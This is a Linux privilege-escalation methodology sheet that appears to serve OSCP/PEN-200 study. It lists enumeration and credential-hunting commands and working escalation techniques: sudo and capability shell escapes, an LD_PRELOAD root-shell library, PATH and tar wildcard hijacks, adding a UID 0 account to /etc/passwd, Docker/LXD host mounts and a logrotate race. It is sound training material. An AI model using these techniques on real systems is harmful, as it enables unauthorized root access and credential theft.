Linux Privilege Escalation
← Stage index | Quick sheet | Master Notes | File transfer | Strategy map | Study methods: Escalate privileges on Linux
Model: controlled object → effective permission → privileged consumer → execution identity → trigger → effect → verified identity.
First pass: confirm the session identity, run the LinPEAS baseline early, then verify its exact finding. For short-lived scheduled commands use pspy and inspect the consumed path.
Reuse discovery: repeating an inventory is optional when equivalent complete output is available from the same host and identity. Check the LinPEAS build/options, skipped checks and errors. Keep selected-candidate validation: exact effective permissions, privileged consumer, trigger and verified outcome. Re-enumerate affected resources after access changes; absence from a report does not rule a path out. The quick sheet marks reusable discovery and follow-up checks per investigation.
1. Establish current state
Decisive output: current identity/groups, OS/kernel/architecture, network position, root-owned activity, mounts and exact sudo rules.
hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd
Priority: credentials/sudo → root-consumed writable objects → SUID/capabilities → privileged groups/mounts/local services → PATH/libraries/wildcards → software/kernel.
2. Prove permissions, including parents and mounts
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access.
nosuiddefeats SUID/SGID and file-capability effects;noexecblocks direct execution;roblocks changes.
Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null
3. Hunt credentials and service trails
history 2>/dev/null
find /home /root -maxdepth 3 -type f \
\( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
-o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
-readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
/var/www /opt /srv /etc 2>/dev/null | head -n 200
Inspect process arguments and readable process environment:
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
Check reusable local sessions/agents only when their sockets are accessible:
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null
An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.
Next: identify the value's user/service context, validate the smallest relevant transition (
su,sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.
4. Sudo: parse the complete rule
sudo -n -l 2>&1
sudo -l
sudo --version
Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping,
NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM
Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.
5. SUID, SGID and capabilities
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null
Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.
Capability interpretation and example
High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
Only when the exact interpreter has effective cap_setuid:
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
+epindicates permitted plus the file effective bit. Bounding sets, namespaces,nosuidmounts and program behavior can still change the result.
6. Cron, timers and services
crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles
Observe short-lived commands:
./pspy64
./pspy64 -pf -i 1000
Validate every referenced script, binary, configuration, environment file, plugin and parent:
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.
Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.
7. PATH and relative-command hijacking
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
[ -z "$d" ] && d=.
[ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
If the privileged consumer resolves helper through a controllable PATH:
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof
Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.
8. Wildcard and option injection
grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
/etc/cron* /etc/systemd /opt /usr/local 2>/dev/null
GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:
printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'
Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.
9. Writable account/policy files
ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
Writable /etc/passwd — authorized disposable lab only
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id
Preserve a known-good copy and restore it. UID/GID 0 creates a superuser. Do not risk corrupting a host when no safe recovery exists.
Also inspect effective access to /etc/sudoers.d, PAM, SSH authorized-key locations and root-executed startup/configuration files.
10. Privileged groups, sockets and containers
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null
Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.
Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.
LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.
11. Mounts, NFS and local services
findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp
For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.
Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.
12. Shared-library resolution
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
Need a privileged dynamically linked consumer plus a missing/selected library resolved from a writable location or a preserved loader variable. Secure-execution mode strips many loader variables from SUID/SGID programs. Prefer
readelfover executing an untrusted file through an unsafelddimplementation.
For root-run scripts, inspect imports/includes and their actual search order. A writable current directory, module path or imported file can be a privileged input even when the main script is protected:
grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'
Prove the privileged interpreter uses the writable module/include before changing it. The interactive interpreter's search path may differ from cron/systemd/sudo.
13. Software/kernel exploits: evidence last
uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit
Match component, exact distribution/build and patch/backport state, architecture, required configuration/capabilities/namespaces, mitigations and dependencies. Review source and recovery risk. A version title or successful compilation is only a candidate. Follow public exploit adaptation.
14. Automated enumeration: generate, then prove
For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:
sh ./linpeas.sh | tee linpeas.txt
Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt
LinPEAS optional flags vary by build. Read the local
./linpeas.sh -hbefore selecting broader checks; they are not the automatic baseline. LSE progresses from default to-l1, then-l2only if needed.unix-privesc-check detailedis slower and more false-positive-prone.
For every highlight:
exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification
Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.
15. Failure router
| Symptom | Check next |
|---|---|
sudo -l fails/prompts | Password requirement, credential correctness and policy—not “no sudo” |
| Allowed sudo command gives ordinary shell | Args/run-as, privilege dropping, NOEXEC, MAC denial |
| SUID technique stays low privilege | Owner/mode, effective UID, nosuid, shell privilege preservation |
| Capability command fails | Exact path, +ep, bounding set, namespace/mount and interpreter support |
| Cron edit never runs | Job/user/schedule, working directory, shell/PATH, logs and pspy |
| PATH route ignored | Absolute command, secure_path, reset environment, wrong directory/order |
| Wildcard route ignored | Working directory, expansion, option order and utility implementation |
| Docker permission denied | Socket ACL, group session, daemon mode and authorization controls |
| Kernel PoC fails | Exact affected build/configuration, architecture, toolchain/dependencies |
| Enumerator says “possible” | Run native commands proving every chain link |
16. Verify and re-enumerate
id; whoami; groups
hostname; pwd
ip addr; ip route
After root, re-enumerate newly readable credentials, services, listeners, mounts and routes. Capture the exact command, decisive output and state transition required by the objective; keep target details and proof material private.
Restricted shell — escape the restriction without claiming root
Use when a login is confined by rbash or an allowlisted command wrapper. Check which binaries and features are actually allowed; the following are alternatives, not a sequence to execute together.
# If the allowed Python interpreter can create a child shell
python3 -c 'import os; os.execl("/bin/sh", "sh")'
# If an unrestricted awk is in the allowed path
awk 'BEGIN {system("/bin/sh")}'
# If less allows its shell-escape feature: run less FILE, then enter this in less
!/bin/sh
Read: run id and check the new shell behavior. This changes the command environment, not the UID. LESSSECURE, a restricted editor build, no-exec controls or an application wrapper can block an otherwise familiar GTFOBins escape. A server-side SSH ForceCommand can ignore the command you supply to ssh; do not repeat a client-side command substitution as though it overrides the server policy.
Sources: upstream 1 · upstream 2.
Kernel candidates — Linux Exploit Suggester as a second view
Use when manual permission/credential routes have not yielded a candidate and kernel/package evidence justifies checking public local exploits. Transfer a reviewed copy before execution.
uname -a
cat /etc/os-release
bash linux-exploit-suggester.sh
Read: candidates need the advisory's exact kernel/build/configuration and prerequisite checks. Distribution backports can fix a CVE without changing an apparent upstream version. Inspect the PoC's primitive, architecture, compilation and failure impact before choosing it. A suggestion or successful build is not evidence of a vulnerable target or an elevated identity.
Sources: upstream 1.
Logrotate race — only with a controlled log path and privileged rotation
Use when root rotates a log in an attacker-controlled path and the configuration creates/copies/compresses a file. A writable log by itself is insufficient. Check the relevant stanza, directory ownership and actual scheduled execution first.
cat /etc/logrotate.conf
cat /etc/logrotate.d/SERVICE
namei -l /PATH/TO/LOG
systemctl cat logrotate.service logrotate.timer
# Compile a reviewed upstream source; prepare a script payload for the actual consumer
gcc -o logrotten logrotten.c
printf '%s\n' 'id > /tmp/logrotate-proof.txt' > payloadfile
# create option; wait for the existing privileged rotation trigger
./logrotten -p ./payloadfile /PATH/TO/LOG
# Alternative for a matching compress configuration, not an extra required step
./logrotten -p ./payloadfile -c -s 4 /PATH/TO/LOG
Read: winning the file-write race and executing its contents are separate events. The upstream default targets a shell-completion consumer: it must actually be sourced by a privileged shell before the proof appears. Verify that consumer and then read the proof UID. A low-privilege su rotation, protected parent, incompatible build/filesystem or an absent consumer can rule out this route. Do not force root rotation from a low-privilege account or treat lack of proof as a confirmed race win; return to the scheduled-job/service checks.
Sources: upstream 1 · upstream 2.
Sources
- Supplied PEN-200 Ch 18, pp550-582
- Current OSCP+ Body of Knowledge
- Current OSCP+ exam guide
- getSH Privilege Escalation: Linux, source snapshot
e1f62dd - Hexdump PATH hijacking module
- sudoers manual
- Linux capabilities manual
- systemctl manual
- Docker run reference and Docker Linux post-install security
- LinPEAS, LSE, pspy and GTFOBins